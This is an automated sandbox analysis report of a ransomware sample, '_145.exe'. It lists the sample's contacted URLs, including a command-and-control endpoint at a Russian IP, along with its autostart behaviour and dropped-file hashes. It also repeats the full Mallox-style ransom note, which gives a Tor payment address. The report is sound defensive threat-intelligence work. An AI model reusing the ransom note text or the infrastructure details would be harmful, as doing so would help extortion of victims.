http://91.215.85.142/QWEwqdsvsf/ap.phpP	_145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://api.ipify.orgx32x64%s	_145.exe	false	Avira URL Cloud: safe	low
http://91.215.85.142/QWEwqdsvsf/ap.phpM	_145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://api.ipify.org	_145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://91.215.85.142/	_145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.pJ;	D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	false	Avira URL Cloud: safe	low
http://91.215.85.142/QWEwqdsvsf/ap.php_	_145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://d.docs.live.net	D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpf	_145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2751883110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpata	_145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://petrol.offi;	D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	false	Avira URL Cloud: safe	low
https://login.windows.net/common/oauth2/authorize	D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	false		high
http://api.ipify.org/N	_145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp	false		high
http://91.215.85.142/ows	_145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.215.85.142/RS	_145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpj	_145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
173.231.16.77	api4.ipify.org	United States		18450	WEBNXUS	false
91.215.85.142	unknown	Russian Federation		34665	PINDC-ASRU	true

Private

IP
192.168.2.2
192.168.2.1
192.168.2.3

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1337854
Start date and time:	2023-11-06 19:43:30 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 45s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	_145.exe
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winEXE@16/1026@1/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Created / dropped Files have been reduced to 100
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: _145.exe

Simulations

Behavior and APIs

Time	Type	Description
19:44:28	API Interceptor	6x Sleep call for process: _145.exe modified
19:45:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt

Process:	C:\Users\user\Desktop\_145.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	14264
Entropy (8bit):	7.986399184644429
Encrypted:	false
SSDEEP:	384:s1BROOat0SIkIR1KTKOQPPjEKpVCvCJrI/+Ff:s1TU7PMHj7yaL9
MD5:	9B4D3F7A4BEB3330D49F16FC03F50A09
SHA1:	C6002C89FFFE4E2B8C7C4432BB81E766830980B7
SHA-256:	295A14E53793575F3AF8CB3942C87E5D77703F0BDFBF59D4CCD784B82E45D237
SHA-512:	388024BA6B6AA54543A2C2FCAB217EF24FD6EA9BCEEB8ED2622411F4C530AB8621096FC833030F254B907B272BAABBD598B128610AD71D4A9292E3972A483A30
Malicious:	false
Reputation:	low
Preview:	...$..=...\|A^H...n.....e...jWq...4......Ojk^..........e ...i.{....B@.......`.lt.TY.Ue..~._.)......J%.6H..../(~.<....y..3..j..B.i>..Q.W.Ii.W9....C..n.{..g.mGkc>...En{.').4.k.s....o..j.A..N}.Z.G}.."..fL..]HP'..X.D.+.....j,.j./k..(.J....0U......]].."1..a.(.j...c...+....)D.h..!....,[..z....LQV......4...go2...){6U.=<a..H+%g^.........N[./..r.wl..tT.....w..].h.G&....$..es.C...<nh.l.pL.z...$....`.#.$S..j.J...n.......{..6...n.,~..X.+...5wm5.t..D@.8.N.G.D......Q...1.^..[.)...}.s....=&..N...=b...7..z...]$0l......"b...O....@.....zw...F.....sZ7O.H'j.y..V.2......R.CZ.XN........2. K...,Bx..+/...%..L....^.\g~.r.H.....x....T......rO;X..i,...D....g?.k.@...z....Y...}.......^....`.8.[.z..LQAE.'G^[..\.P....A..n.\|.E.......V.........#......)..9..Vs...R.;.R....6v.....&.de..5.....YI;L.t.^.#..@......B.@....0....F!..F.6?..#Ha...S....dJ.i..h..*.g..aN..7.S....b..:...F.B.Z....-\U...'G.....Q@...kqO.:U....2X.I.6n....3..g.aop....3..rEF..<..`.,;a..!.H...\n..R......

C:\$Recycle.Bin\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	true
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$WinREAgent\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
